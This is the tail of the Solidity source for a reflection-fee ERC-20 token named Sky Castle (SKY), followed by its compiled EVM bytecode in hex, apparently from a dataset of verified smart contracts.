return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f536b7920436173746c6500000000000000000000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f534b590000000000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600381526020017f534b59000000000000000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600a81526020017f536b7920436173746c650000000000000000000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe